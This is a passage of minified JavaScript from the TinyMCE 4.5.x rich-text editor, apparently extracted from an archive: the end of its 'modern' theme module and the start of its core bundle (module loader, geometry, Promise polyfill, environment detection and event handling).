Array(a),l=0;l<a;++l)s[l]=r(i[l]);var c=o.apply(null,s);if(void
0===c)throw"module ["+t+"] returned
undefined";n.instance=c},n=function(t,n,r){if("string"!=typeof
t)throw"module id must be a string";if(void 0===n)throw"no
dependencies for "+t;if(void 0===r)throw"no definition function
for "+t;e[t]={deps:n,defn:r,instance:void 0}},r=function(n){var
r=e[n];if(void 0===r)throw"module ["+n+"] was
undefined";return void
0===r.instance&&t(n),r.instance},i=function(e,t){for(var
n=e.length,i=new
Array(n),o=0;o<n;++o)i[o]=r(e[o]);t.apply(null,i)},o={};o.bolt={module:{api:{define:n,require:i,demand:r}}};var
a=n,s=function(e,t){a(e,[],function(){return
t})};s("1",tinymce.Env),s("2",tinymce.EditorManager),s("3",tinymce.ThemeManager),s("8",tinymce.util.Tools),s("9",tinymce.ui.Factory),s("a",tinymce.DOM),a("b",["8","9"],function(e,t){var
n="undo redo | styleselect | bold italic | alignleft aligncenter
alignright alignjustify | bullist numlist outdent indent | link
image",r=function(n,r,i){var o,a=[];if(r)return e.each(r.split(/[
,]/),function(e){var r,s=function(){var
t=n.selection;e.settings.stateSelector&&t.selectorChanged(e.settings.stateSelector,function(t){e.active(t)},!0),e.settings.disabledStateSelector&&t.selectorChanged(e.settings.disabledStateSelector,function(t){e.disabled(t)})};"|"==e?o=null:t.has(e)?(e={type:e,size:i},a.push(e),o=null):(o||(o={type:"buttongroup",items:[]},a.push(o)),n.buttons[e]&&(r=e,e=n.buttons[r],"function"==typeof
e&&(e=e()),e.type=e.type||"button",e.size=i,e=t.create(e),o.items.push(e),n.initialized?s():n.on("init",s)))}),{type:"toolbar",layout:"flow",items:a}},i=function(t,i){var
o=[],a=t.settings,s=function(e){if(e)return
o.push(r(t,e,i)),!0};if(e.isArray(a.toolbar)){if(0===a.toolbar.length)return;e.each(a.toolbar,function(e,t){a["toolbar"+(t+1)]=e}),delete
a.toolbar}for(var
l=1;l<10&&s(a["toolbar"+l]);l++);if(o.length||a.toolbar===!1||s(a.toolbar||n),o.length)return{type:"panel",layout:"stack",classes:"toolbar-grp",ariaRoot:!0,ariaRemember:!0,items:o}};return{createToolbar:r,createToolbars:i}}),a("c",["8"],function(e){var
t={file:{title:"File",items:"newdocument"},edit:{title:"Edit",items:"undo
redo | cut copy paste pastetext |
selectall"},insert:{title:"Insert",items:"|"},view:{title:"View",items:"visualaid
|"},format:{title:"Format",items:"bold italic underline
strikethrough superscript subscript | formats |
removeformat"},table:{title:"Table"},tools:{title:"Tools"}},n=function(e,t){var
n;return"|"==t?{text:"|"}:n=e[t]},r=function(r,i,o){var
a,s,l,c,u;if(u=e.makeMap((i.removed_menuitems||"").split(/[
,]/)),i.menu?(s=i.menu[o],c=!0):s=t[o],s){a={text:s.title},l=[],e.each((s.items||"").split(/[
,]/),function(e){var
t=n(r,e);t&&!u[e]&&l.push(n(r,e))}),c||e.each(r,function(e){e.context==o&&("before"==e.separator&&l.push({text:"|"}),e.prependToContext?l.unshift(e):l.push(e),"after"==e.separator&&l.push({text:"|"}))});for(var
d=0;d<l.length;d++)"|"==l[d].text&&(0!==d&&d!=l.length-1||l.splice(d,1));if(a.menu=l,!a.menu.length)return
null}return a},i=function(e){var n,i=[],o=e.settings,a=[];if(o.menu)for(n
in o.menu)a.push(n);else for(n in t)a.push(n);for(var
s="string"==typeof o.menubar?o.menubar.split(/[
,]/):a,l=0;l<s.length;l++){var
c=s[l];c=r(e.menuItems,e.settings,c),c&&i.push(c)}return
i};return{createMenuButtons:i}}),s("j",tinymce.util.Delay),s("k",tinymce.geom.Rect),a("d",["a","8","j","b","9","k"],function(e,t,n,r,i,o){var
a=function(e){return{left:e.x,top:e.y,width:e.w,height:e.h,right:e.x+e.w,bottom:e.y+e.h}},s=function(e){t.each(e.contextToolbars,function(e){e.panel&&e.panel.hide()})},l=function(e,t){e.moveTo(t.left,t.top)},c=function(e,n,r){n=n?n.substr(0,2):"",t.each({t:"down",b:"up"},function(t,i){e.classes.toggle("arrow-"+t,r(i,n.substr(0,1)))}),t.each({l:"left",r:"right"},function(t,i){e.classes.toggle("arrow-"+t,r(i,n.substr(1,1)))})},u=function(e,t,n,r,i,o){return
o=a({x:t,y:n,w:o.w,h:o.h}),e&&(o=e({elementRect:a(r),contentAreaRect:a(i),panelRect:o})),o},d=function(a){var
d,f=a.settings,p=function(){return a.contextToolbars||[]},m=function(t){var
n,r,i;return
n=e.getPos(a.getContentAreaContainer()),r=a.dom.getRect(t),i=a.dom.getRoot(),"BODY"===i.nodeName&&(r.x-=i.ownerDocument.documentElement.scrollLeft||i.scrollLeft,r.y-=i.ownerDocument.documentElement.scrollTop||i.scrollTop),r.x+=n.x,r.y+=n.y,r},g=function(t,n){var
r,i,d,p,g,h,v,b,y=f.inline_toolbar_position_handler;if(!a.removed){if(!t||!t.toolbar.panel)return
void
s(a);v=["bc-tc","tc-bc","tl-bl","bl-tl","tr-br","br-tr"],g=t.toolbar.panel,n&&g.show(),d=m(t.element),i=e.getRect(g.getEl()),p=e.getRect(a.getContentAreaContainer()||a.getBody()),b=25,"inline"!==e.getStyle(t.element,"display",!0)&&(d.w=t.element.clientWidth,d.h=t.element.clientHeight),a.inline||(p.w=a.getDoc().documentElement.offsetWidth),a.selection.controlSelection.isResizable(t.element)&&d.w<b&&(d=o.inflate(d,0,8)),r=o.findBestRelativePosition(i,d,p,v),d=o.clamp(d,p),r?(h=o.relativePosition(i,d,r),l(g,u(y,h.x,h.y,d,p,i))):(p.h+=i.h,d=o.intersect(p,d),d?(r=o.findBestRelativePosition(i,d,p,["bc-tc","bl-tl","br-tr"]),r?(h=o.relativePosition(i,d,r),l(g,u(y,h.x,h.y,d,p,i))):l(g,u(y,d.x,d.y,d,p,i))):g.hide()),c(g,r,function(e,t){return
e===t})}},h=function(e){return function(){var
t=function(){a.selection&&g(x(a.selection.getNode()),e)};n.requestAnimationFrame(t)}},v=function(){d||(d=a.selection.getScrollContainer()||a.getWin(),e.bind(d,"scroll",h(!0)),a.on("remove",function(){e.unbind(d,"scroll")}))},b=function(e){var
t;return e.toolbar.panel?(e.toolbar.panel.show(),void
g(e)):(v(),t=i.create({type:"floatpanel",role:"dialog",classes:"tinymce
tinymce-inline arrow",ariaLabel:"Inline
toolbar",layout:"flex",direction:"column",align:"stretch",autohide:!1,autofix:!0,fixed:!0,border:1,items:r.createToolbar(a,e.toolbar.items),oncancel:function(){a.focus()}}),e.toolbar.panel=t,t.renderTo(document.body).reflow(),void
g(e))},y=function(){t.each(p(),function(e){e.panel&&e.panel.hide()})},x=function(e){var
t,n,r,i=p();for(r=a.$(e).parents().add(e),t=r.length-1;t>=0;t--)for(n=i.length-1;n>=0;n--)if(i[n].predicate(r[t]))return{toolbar:i[n],element:r[t]};return
null};a.on("click keyup setContent
ObjectResized",function(e){("setcontent"!==e.type||e.selection)&&n.setEditorTimeout(a,function(){var
e;e=x(a.selection.getNode()),e?(y(),b(e)):y()})}),a.on("blur hide
contextmenu",y),a.on("ObjectResizeStart",function(){var
e=x(a.selection.getNode());e&&e.toolbar.panel&&e.toolbar.panel.hide()}),a.on("ResizeEditor
ResizeWindow",h(!0)),a.on("nodeChange",h(!1)),a.on("remove",function(){t.each(p(),function(e){e.panel&&e.panel.remove()}),a.contextToolbars={}}),a.shortcuts.add("ctrl+F9","",function(){var
e=x(a.selection.getNode());e&&e.toolbar.panel&&e.toolbar.panel.items()[0].focus()})};return{addContextualToolbars:d}}),a("e",[],function(){var
e=function(e,t){return function(){var
n=e.find(t)[0];n&&n.focus(!0)}},t=function(t,n){t.shortcuts.add("Alt+F9","",e(n,"menubar")),t.shortcuts.add("Alt+F10,F10","",e(n,"toolbar")),t.shortcuts.add("Alt+F11","",e(n,"elementpath")),n.on("cancel",function(){t.focus()})};return{addKeys:t}}),a("f",["8","9","1"],function(e,t,n){var
r=function(e){return{element:function(){return e}}},i=function(e,t,n){var
i=e.settings[n];i&&i(r(t.getEl("body")))},o=function(t,n,r){e.each(r,function(e){var
r=n.items().filter("#"+e.name)[0];r&&r.visible()&&e.name!==t&&(i(e,r,"onhide"),r.visible(!1))})},a=function(e){e.items().each(function(e){e.active(!1)})},s=function(t,n){return
e.grep(t,function(e){return e.name===n})[0]},l=function(e,n,r){return
function(l){var
c=l.control,u=c.parents().filter("panel")[0],d=u.find("#"+n)[0],f=s(r,n);o(n,u,r),a(c.parent()),d&&d.visible()?(i(f,d,"onhide"),d.hide(),c.active(!1)):(d?(d.show(),i(f,d,"onshow")):(d=t.create({type:"container",name:n,layout:"stack",classes:"sidebar-panel",html:""}),u.prepend(d),i(f,d,"onrender"),i(f,d,"onshow")),c.active(!0)),e.fire("ResizeEditor")}},c=function(){return!n.ie||n.ie>=11},u=function(e){return!(!c()||!e.sidebars)&&e.sidebars.length>0},d=function(t){var
n=e.map(t.sidebars,function(e){var
n=e.settings;return{type:"button",icon:n.icon,image:n.image,tooltip:n.tooltip,onclick:l(t,e.name,t.sidebars)}});return{type:"panel",name:"sidebar",layout:"stack",classes:"sidebar",items:[{type:"toolbar",layout:"stack",classes:"sidebar-toolbar",items:n}]}};return{hasSidebar:u,createSidebar:d}}),a("g",[],function(){var
e=function(e){var
t=function(){e._skinLoaded=!0,e.fire("SkinLoaded")};return
function(){e.initialized?t():e.on("init",t)}};return{fireSkinLoaded:e}}),a("6",["a"],function(e){var
t=function(e){return{width:e.clientWidth,height:e.clientHeight}},n=function(n,r,i){var
o,a,s,l,c=n.settings;o=n.getContainer(),a=n.getContentAreaContainer().firstChild,s=t(o),l=t(a),null!==r&&(r=Math.max(c.min_width||100,r),r=Math.min(c.max_width||65535,r),e.setStyle(o,"width",r+(s.width-l.width)),e.setStyle(a,"width",r)),i=Math.max(c.min_height||100,i),i=Math.min(c.max_height||65535,i),e.setStyle(a,"height",i),n.fire("ResizeEditor")},r=function(e,t,r){var
i=e.getContentAreaContainer();n(e,i.clientWidth+t,i.clientHeight+r)};return{resizeTo:n,resizeBy:r}}),a("4",["8","9","a","b","c","d","e","f","g","6"],function(e,t,n,r,i,o,a,s,l,c){var
u=function(e){return
function(t){e.find("*").disabled("readonly"===t.mode)}},d=function(e){return{type:"panel",name:"iframe",layout:"stack",classes:"edit-area",border:e,html:""}},f=function(e){return{type:"panel",layout:"stack",classes:"edit-aria-container",border:"1
0 0
0",items:[d("0"),s.createSidebar(e)]}},p=function(e,p,m){var
g,h,v,b=e.settings;return
m.skinUiCss&&n.styleSheetLoader.load(m.skinUiCss,l.fireSkinLoaded(e)),g=p.panel=t.create({type:"panel",role:"application",classes:"tinymce",style:"visibility:
hidden",layout:"stack",border:1,items:[b.menubar===!1?null:{type:"menubar",border:"0
0 1
0",items:i.createMenuButtons(e)},r.createToolbars(e,b.toolbar_items_size),s.hasSidebar(e)?f(e):d("1
0 0
0")]}),b.resize!==!1&&(h={type:"resizehandle",direction:b.resize,onResizeStart:function(){var
t=e.getContentAreaContainer().firstChild;v={width:t.clientWidth,height:t.clientHeight}},onResize:function(t){"both"===b.resize?c.resizeTo(e,v.width+t.deltaX,v.height+t.deltaY):c.resizeTo(e,null,v.height+t.deltaY)}}),b.statusbar!==!1&&g.add({type:"panel",name:"statusbar",classes:"statusbar",layout:"flow",border:"1
0 0
0",ariaRoot:!0,items:[{type:"elementpath",editor:e},h]}),e.fire("BeforeRenderUI"),e.on("SwitchMode",u(g)),g.renderBefore(m.targetNode).reflow(),b.readonly&&e.setMode("readonly"),b.width&&n.setStyle(g.getEl(),"width",b.width),e.on("remove",function(){g.remove(),g=null}),a.addKeys(e,g),o.addContextualToolbars(e),{iframeContainer:g.find("#iframe")[0].getEl(),editorContainer:g.getEl()}};return{render:p}}),s("h",tinymce.ui.FloatPanel),a("5",["8","9","a","h","b","c","d","e","g"],function(e,t,n,r,i,o,a,s,l){var
c=function(e,c,u){var
d,f,p=e.settings;p.fixed_toolbar_container&&(f=n.select(p.fixed_toolbar_container)[0]);var
m=function(){if(d&&d.moveRel&&d.visible()&&!d._fixed){var
t=e.selection.getScrollContainer(),r=e.getBody(),i=0,o=0;if(t){var
a=n.getPos(r),s=n.getPos(t);i=Math.max(0,s.x-a.x),o=Math.max(0,s.y-a.y)}d.fixed(!1).moveRel(r,e.rtl?["tr-br","br-tr"]:["tl-bl","bl-tl","tr-br"]).moveBy(i,o)}},g=function(){d&&(d.show(),m(),n.addClass(e.getBody(),"mce-edit-focus"))},h=function(){d&&(d.hide(),r.hideAll(),n.removeClass(e.getBody(),"mce-edit-focus"))},v=function(){return
d?void(d.visible()||g()):(d=c.panel=t.create({type:f?"panel":"floatpanel",role:"application",classes:"tinymce
tinymce-inline",layout:"flex",direction:"column",align:"stretch",autohide:!1,autofix:!0,fixed:!!f,border:1,items:[p.menubar===!1?null:{type:"menubar",border:"0
0 1
0",items:o.createMenuButtons(e)},i.createToolbars(e,p.toolbar_items_size)]}),e.fire("BeforeRenderUI"),d.renderTo(f||document.body).reflow(),s.addKeys(e,d),g(),a.addContextualToolbars(e),e.on("nodeChange",m),e.on("activate",g),e.on("deactivate",h),void
e.nodeChanged())};return
p.content_editable=!0,e.on("focus",function(){u.skinUiCss?n.styleSheetLoader.load(u.skinUiCss,v,v):v()}),e.on("blur
hide",h),e.on("remove",function(){d&&(d.remove(),d=null)}),u.skinUiCss&&n.styleSheetLoader.load(u.skinUiCss,l.fireSkinLoaded(e)),{}};return{render:c}}),s("i",tinymce.ui.Throbber),a("7",["i"],function(e){var
t=function(t,n){var r;t.on("ProgressState",function(t){r=r||new
e(n.panel.getEl("body")),t.state?r.show(t.time):r.hide()})};return{setup:t}}),a("0",["1","2","3","4","5","6","7"],function(e,t,n,r,i,o,a){var
s=function(n,o,s){var
l=n.settings,c=l.skin!==!1&&(l.skin||"lightgray");if(c){var
u=l.skin_url;u=u?n.documentBaseURI.toAbsolute(u):t.baseURL+"/skins/"+c,e.documentMode<=7?s.skinUiCss=u+"/skin.ie7.min.css":s.skinUiCss=u+"/skin.min.css",n.contentCSS.push(u+"/content"+(n.inline?".inline":"")+".min.css")}return
a.setup(n,o),l.inline?i.render(n,o,s):r.render(n,o,s)};return
n.add("modern",function(e){return{renderUI:function(t){return
s(e,this,t)},resizeTo:function(t,n){return
o.resizeTo(e,t,n)},resizeBy:function(t,n){return
o.resizeBy(e,t,n)}}}),function(){}}),r("0")()}();PKW��[��<,�1�1tinymce/tinymce.min.jsnu�[���//
4.5.12 (2020-07-03)
!function(e,t){"use strict";function n(e,t){for(var
n,r=[],i=0;i<e.length;++i){if(n=s[e[i]]||o(e[i]),!n)throw"module
definition dependecy not found:
"+e[i];r.push(n)}t.apply(null,r)}function
r(e,r,i){if("string"!=typeof e)throw"invalid module
definition, module id must be defined and be a
string";if(r===t)throw"invalid module definition, dependencies
must be specified";if(i===t)throw"invalid module definition,
definition function must be
specified";n(r,function(){s[e]=i.apply(null,arguments)})}function
i(e){return!!s[e]}function o(t){for(var
n=e,r=t.split(/[.\/]/),i=0;i<r.length;++i){if(!n[r[i]])return;n=n[r[i]]}return
n}function a(n){var
r,i,o,a,l;for(r=0;r<n.length;r++){i=e,o=n[r],a=o.split(/[.\/]/);for(var
u=0;u<a.length-1;++u)i[a[u]]===t&&(i[a[u]]={}),i=i[a[u]];i[a[a.length-1]]=s[o]}if(e.AMDLC_TESTS){l=e.privateModules||{};for(o
in s)l[o]=s[o];for(r=0;r<n.length;r++)delete
l[n[r]];e.privateModules=l}}var
s={},l="tinymce/geom/Rect",u="tinymce/util/Promise",c="tinymce/util/Delay",d="tinymce/Env",f="tinymce/dom/EventUtils",p="tinymce/dom/Sizzle",h="tinymce/util/Arr",m="tinymce/util/Tools",g="tinymce/dom/DomQuery",v="tinymce/html/Styles",y="tinymce/dom/TreeWalker",b="tinymce/dom/Range",C="tinymce/html/Entities",x="tinymce/dom/StyleSheetLoader",w="tinymce/dom/DOMUtils",E="tinymce/dom/ScriptLoader",N="tinymce/AddOnManager",_="tinymce/dom/NodeType",S="tinymce/text/Zwsp",k="tinymce/caret/CaretContainer",T="tinymce/dom/RangeUtils",R="tinymce/NodeChange",A="tinymce/html/Node",B="tinymce/html/Schema",D="tinymce/html/SaxParser",L="tinymce/html/DomParser",M="tinymce/html/Writer",P="tinymce/html/Serializer",O="tinymce/dom/Serializer",H="tinymce/dom/TridentSelection",I="tinymce/util/VK",F="tinymce/dom/ControlSelection",z="tinymce/util/Fun",U="tinymce/caret/CaretCandidate",W="tinymce/geom/ClientRect",V="tinymce/text/ExtendingChar",$="tinymce/caret/CaretPosition",q="tinymce/caret/CaretBookmark",j="tinymce/dom/BookmarkManager",Y="tinymce/dom/Selection",X="tinymce/dom/ElementUtils",K="tinymce/fmt/Preview",G="tinymce/fmt/Hooks",J="tinymce/Formatter",Q="tinymce/undo/Diff",Z="tinymce/undo/Fragments",ee="tinymce/undo/Levels",te="tinymce/UndoManager",ne="tinymce/EnterKey",re="tinymce/ForceBlocks",ie="tinymce/caret/CaretUtils",oe="tinymce/caret/CaretWalker",ae="tinymce/InsertList",se="tinymce/InsertContent",le="tinymce/EditorCommands",ue="tinymce/util/URI",ce="tinymce/util/Class",de="tinymce/util/EventDispatcher",fe="tinymce/data/Binding",pe="tinymce/util/Observable",he="tinymce/data/ObservableObject",me="tinymce/ui/Selector",ge="tinymce/ui/Collection",ve="tinymce/ui/DomUtils",ye="tinymce/ui/BoxUtils",be="tinymce/ui/ClassList",Ce="tinymce/ui/ReflowQueue",xe="tinymce/ui/Control",we="tinymce/ui/Factory",Ee="tinymce/ui/KeyboardNavigation",Ne="tinymce/ui/Container",_e="tinymce/ui/DragHelper",Se="tinymce/ui/Scrollable",ke="tinymce/ui/Panel",Te="tinymce/ui/Movable",Re="tinymce/ui/Resizable",Ae="tinymce/ui/FloatPanel",Be="tinymce/ui/Window",De="tinymce/ui/MessageBox",Le="tinymce/WindowManager",Me="tinymce/ui/Tooltip",Pe="tinymce/ui/Widget",Oe="tinymce/ui/Progress",He="tinymce/ui/Notification",Ie="tinymce/NotificationManager",Fe="tinymce/dom/NodePath",ze="tinymce/util/Quirks",Ue="tinymce/EditorObservable",We="tinymce/Mode",Ve="tinymce/Shortcuts",$e="tinymce/file/Uploader",qe="tinymce/file/Conversions",je="tinymce/file/ImageScanner",Ye="tinymce/file/BlobCache",Xe="tinymce/file/UploadStatus",Ke="tinymce/ErrorReporter",Ge="tinymce/EditorUpload",Je="tinymce/caret/FakeCaret",Qe="tinymce/dom/Dimensions",Ze="tinymce/caret/LineWalker",et="tinymce/caret/LineUtils",tt="tinymce/dom/MousePosition",nt="tinymce/DragDropOverrides",rt="tinymce/SelectionOverrides",it="tinymce/util/Uuid",ot="tinymce/ui/Sidebar",at="tinymce/Editor",st="tinymce/util/I18n",lt="tinymce/FocusManager",ut="tinymce/EditorManager",ct="tinymce/LegacyInput",dt="tinymce/util/XHR",ft="tinymce/util/JSON",pt="tinymce/util/JSONRequest",ht="tinymce/util/JSONP",mt="tinymce/util/LocalStorage",gt="tinymce/Compat",vt="tinymce/ui/Layout",yt="tinymce/ui/AbsoluteLayout",bt="tinymce/ui/Button",Ct="tinymce/ui/ButtonGroup",xt="tinymce/ui/Checkbox",wt="tinymce/ui/ComboBox",Et="tinymce/ui/ColorBox",Nt="tinymce/ui/PanelButton",_t="tinymce/ui/ColorButton",St="tinymce/util/Color",kt="tinymce/ui/ColorPicker",Tt="tinymce/ui/Path",Rt="tinymce/ui/ElementPath",At="tinymce/ui/FormItem",Bt="tinymce/ui/Form",Dt="tinymce/ui/FieldSet",Lt="tinymce/content/LinkTargets",Mt="tinymce/ui/FilePicker",Pt="tinymce/ui/FitLayout",Ot="tinymce/ui/FlexLayout",Ht="tinymce/ui/FlowLayout",It="tinymce/fmt/FontInfo",Ft="tinymce/ui/FormatControls",zt="tinymce/ui/GridLayout",Ut="tinymce/ui/Iframe",Wt="tinymce/ui/InfoBox",Vt="tinymce/ui/Label",$t="tinymce/ui/Toolbar",qt="tinymce/ui/MenuBar",jt="tinymce/ui/MenuButton",Yt="tinymce/ui/MenuItem",Xt="tinymce/ui/Throbber",Kt="tinymce/ui/Menu",Gt="tinymce/ui/ListBox",Jt="tinymce/ui/Radio",Qt="tinymce/ui/ResizeHandle",Zt="tinymce/ui/SelectBox",en="tinymce/ui/Slider",tn="tinymce/ui/Spacer",nn="tinymce/ui/SplitButton",rn="tinymce/ui/StackLayout",on="tinymce/ui/TabPanel",an="tinymce/ui/TextBox",sn="tinymce/Register";r(l,[],function(){function
e(e,t,n){var r,i,a,s,l,c;return
r=t.x,i=t.y,a=e.w,s=e.h,l=t.w,c=t.h,n=(n||"").split(""),"b"===n[0]&&(i+=c),"r"===n[1]&&(r+=l),"c"===n[0]&&(i+=u(c/2)),"c"===n[1]&&(r+=u(l/2)),"b"===n[3]&&(i-=s),"r"===n[4]&&(r-=a),"c"===n[3]&&(i-=u(s/2)),"c"===n[4]&&(r-=u(a/2)),o(r,i,a,s)}function
t(t,n,r,i){var
o,a;for(a=0;a<i.length;a++)if(o=e(t,n,i[a]),o.x>=r.x&&o.x+o.w<=r.w+r.x&&o.y>=r.y&&o.y+o.h<=r.h+r.y)return
i[a];return null}function n(e,t,n){return
o(e.x-t,e.y-n,e.w+2*t,e.h+2*n)}function r(e,t){var n,r,i,a;return
n=l(e.x,t.x),r=l(e.y,t.y),i=s(e.x+e.w,t.x+t.w),a=s(e.y+e.h,t.y+t.h),i-n<0||a-r<0?null:o(n,r,i-n,a-r)}function
i(e,t,n){var r,i,a,s,u,c,d,f,p,h;return
u=e.x,c=e.y,d=e.x+e.w,f=e.y+e.h,p=t.x+t.w,h=t.y+t.h,r=l(0,t.x-u),i=l(0,t.y-c),a=l(0,d-p),s=l(0,f-h),u+=r,c+=i,n&&(d+=r,f+=i,u-=a,c-=s),d-=a,f-=s,o(u,c,d-u,f-c)}function
o(e,t,n,r){return{x:e,y:t,w:n,h:r}}function a(e){return
o(e.left,e.top,e.width,e.height)}var
s=Math.min,l=Math.max,u=Math.round;return{inflate:n,relativePosition:e,findBestRelativePosition:t,intersect:r,clamp:i,create:o,fromClientRect:a}}),r(u,[],function(){function
e(e,t){return function(){e.apply(t,arguments)}}function
t(t){if("object"!=typeof this)throw new TypeError("Promises
must be constructed via new");if("function"!=typeof t)throw
new TypeError("not a
function");this._state=null,this._value=null,this._deferreds=[],s(t,e(r,this),e(i,this))}function
n(e){var t=this;return null===this._state?void this._deferreds.push(e):void
l(function(){var n=t._state?e.onFulfilled:e.onRejected;if(null===n)return
void(t._state?e.resolve:e.reject)(t._value);var
r;try{r=n(t._value)}catch(i){return void
e.reject(i)}e.resolve(r)})}function r(t){try{if(t===this)throw new
TypeError("A promise cannot be resolved with
itself.");if(t&&("object"==typeof
t||"function"==typeof t)){var
n=t.then;if("function"==typeof n)return void
s(e(n,t),e(r,this),e(i,this))}this._state=!0,this._value=t,o.call(this)}catch(a){i.call(this,a)}}function
i(e){this._state=!1,this._value=e,o.call(this)}function o(){for(var
e=0,t=this._deferreds.length;e<t;e++)n.call(this,this._deferreds[e]);this._deferreds=null}function
a(e,t,n,r){this.onFulfilled="function"==typeof
e?e:null,this.onRejected="function"==typeof
t?t:null,this.resolve=n,this.reject=r}function s(e,t,n){var
r=!1;try{e(function(e){r||(r=!0,t(e))},function(e){r||(r=!0,n(e))})}catch(i){if(r)return;r=!0,n(i)}}if(window.Promise)return
window.Promise;var l=t.immediateFn||"function"==typeof
setImmediate&&setImmediate||function(e){setTimeout(e,1)},u=Array.isArray||function(e){return"[object
Array]"===Object.prototype.toString.call(e)};return
t.prototype["catch"]=function(e){return
this.then(null,e)},t.prototype.then=function(e,r){var i=this;return new
t(function(t,o){n.call(i,new a(e,r,t,o))})},t.all=function(){var
e=Array.prototype.slice.call(1===arguments.length&&u(arguments[0])?arguments[0]:arguments);return
new t(function(t,n){function
r(o,a){try{if(a&&("object"==typeof
a||"function"==typeof a)){var
s=a.then;if("function"==typeof s)return void
s.call(a,function(e){r(o,e)},n)}e[o]=a,0===--i&&t(e)}catch(l){n(l)}}if(0===e.length)return
t([]);for(var
i=e.length,o=0;o<e.length;o++)r(o,e[o])})},t.resolve=function(e){return
e&&"object"==typeof e&&e.constructor===t?e:new
t(function(t){t(e)})},t.reject=function(e){return new
t(function(t,n){n(e)})},t.race=function(e){return new
t(function(t,n){for(var
r=0,i=e.length;r<i;r++)e[r].then(t,n)})},t}),r(c,[u],function(e){function
t(e,t){function n(e){window.setTimeout(e,0)}var
r,i=window.requestAnimationFrame,o=["ms","moz","webkit"];for(r=0;r<o.length&&!i;r++)i=window[o[r]+"RequestAnimationFrame"];i||(i=n),i(e,t)}function
n(e,t){return"number"!=typeof
t&&(t=0),setTimeout(e,t)}function
r(e,t){return"number"!=typeof
t&&(t=1),setInterval(e,t)}function i(e){return
clearTimeout(e)}function o(e){return clearInterval(e)}function a(e,t){var
r,i;return i=function(){var
i=arguments;clearTimeout(r),r=n(function(){e.apply(this,i)},t)},i.stop=function(){clearTimeout(r)},i}var
s;return{requestAnimationFrame:function(n,r){return s?void
s.then(n):void(s=new
e(function(e){r||(r=document.body),t(e,r)}).then(n))},setTimeout:n,setInterval:r,setEditorTimeout:function(e,t,r){return
n(function(){e.removed||t()},r)},setEditorInterval:function(e,t,n){var
i;return
i=r(function(){e.removed?clearInterval(i):t()},n)},debounce:a,throttle:a,clearInterval:o,clearTimeout:i}}),r(d,[],function(){function
e(e){return"matchMedia"in
window&&matchMedia(e).matches}var
t=navigator,n=t.userAgent,r,i,o,a,s,l,u,c,d,f,p,h,m;r=window.opera&&window.opera.buildNumber,d=/Android/.test(n),i=/WebKit/.test(n),o=!i&&!r&&/MSIE/gi.test(n)&&/Explorer/gi.test(t.appName),o=o&&/MSIE
(\w+)\./.exec(n)[1],a=n.indexOf("Trident/")!=-1&&(n.indexOf("rv:")!=-1||t.appName.indexOf("Netscape")!=-1)&&11,s=n.indexOf("Edge/")!=-1&&!o&&!a&&12,o=o||a||s,l=!i&&!a&&/Gecko/.test(n),u=n.indexOf("Mac")!=-1,c=/(iPad|iPhone)/.test(n),f="FormData"in
window&&"FileReader"in window&&"URL"in
window&&!!URL.createObjectURL,p=e("only screen and
(max-device-width: 480px)")&&(d||c),h=e("only screen and
(min-width: 800px)")&&(d||c),m=n.indexOf("Windows
Phone")!=-1,s&&(i=!1);var
g=!c||f||n.match(/AppleWebKit\/(\d*)/)[1]>=534;return{opera:r,webkit:i,ie:o,gecko:l,mac:u,iOS:c,android:d,contentEditable:g,transparentSrc:"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",caretAfter:8!=o,range:window.getSelection&&"Range"in
window,documentMode:o&&!s?document.documentMode||7:10,fileApi:f,ceFalse:o===!1||o>8,canHaveCSP:o===!1||o>11,desktop:!p&&!h,windowsPhone:m}}),r(f,[c,d],function(e,t){function
n(e,t,n,r){e.addEventListener?e.addEventListener(t,n,r||!1):e.attachEvent&&e.attachEvent("on"+t,n)}function
r(e,t,n,r){e.removeEventListener?e.removeEventListener(t,n,r||!1):e.detachEvent&&e.detachEvent("on"+t,n)}function
i(e,t){var n,r=t;return
n=e.path,n&&n.length>0&&(r=n[0]),e.deepPath&&(n=e.deepPath(),n&&n.length>0&&(r=n[0])),r}function
o(e,n){function r(){return!1}function o(){return!0}var a,s=n||{},l;for(a in
e)c[a]||(s[a]=e[a]);if(s.target||(s.target=s.srcElement||document),t.experimentalShadowDom&&(s.target=i(e,s.target)),e&&u.test(e.type)&&e.pageX===l&&e.clientX!==l){var
d=s.target.ownerDocument||document,f=d.documentElement,p=d.body;s.pageX=e.clientX+(f&&f.scrollLeft||p&&p.scrollLeft||0)-(f&&f.clientLeft||p&&p.clientLeft||0),s.pageY=e.clientY+(f&&f.scrollTop||p&&p.scrollTop||0)-(f&&f.clientTop||p&&p.clientTop||0)}return
s.preventDefault=function(){s.isDefaultPrevented=o,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},s.stopPropagation=function(){s.isPropagationStopped=o,e&&(e.stopPropagation?e.stopPropagation():e.cancelBubble=!0)},s.stopImmediatePropagation=function(){s.isImmediatePropagationStopped=o,s.stopPropagation()},s.isDefaultPrevented||(s.isDefaultPrevented=r,s.isPropagationStopped=r,s.isImmediatePropagationStopped=r),"undefined"==typeof
s.metaKey&&(s.metaKey=!1),s}function a(t,i,o){function
a(){o.domLoaded||(o.domLoaded=!0,i(c))}function
s(){("complete"===u.readyState||"interactive"===u.readyState&&u.body)&&(r(u,"readystatechange",s),a())}function
l(){try{u.documentElement.doScroll("left")}catch(t){return void
e.setTimeout(l)}a()}var u=t.document,c={type:"ready"};return
o.domLoaded?void
i(c):(u.addEventListener?"complete"===u.readyState?a():n(t,"DOMContentLoaded",a):(n(u,"readystatechange",s),u.documentElement.doScroll&&t.self===t.top&&l()),void
n(t,"load",a))}function s(){function e(e,t){var
n,r,o,a,s=i[t];if(n=s&&s[e.type])for(r=0,o=n.length;r<o;r++)if(a=n[r],a&&a.func.call(a.scope,e)===!1&&e.preventDefault(),e.isImmediatePropagationStopped())return}var
t=this,i={},s,u,c,d,f;u=l+(+new
Date).toString(32),d="onmouseenter"in
document.documentElement,c="onfocusin"in
document.documentElement,f={mouseenter:"mouseover",mouseleave:"mouseout"},s=1,t.domLoaded=!1,t.events=i,t.bind=function(r,l,p,h){function
m(t){e(o(t||E.event),g)}var
g,v,y,b,C,x,w,E=window;if(r&&3!==r.nodeType&&8!==r.nodeType){for(r[u]?g=r[u]:(g=s++,r[u]=g,i[g]={}),h=h||r,l=l.split("
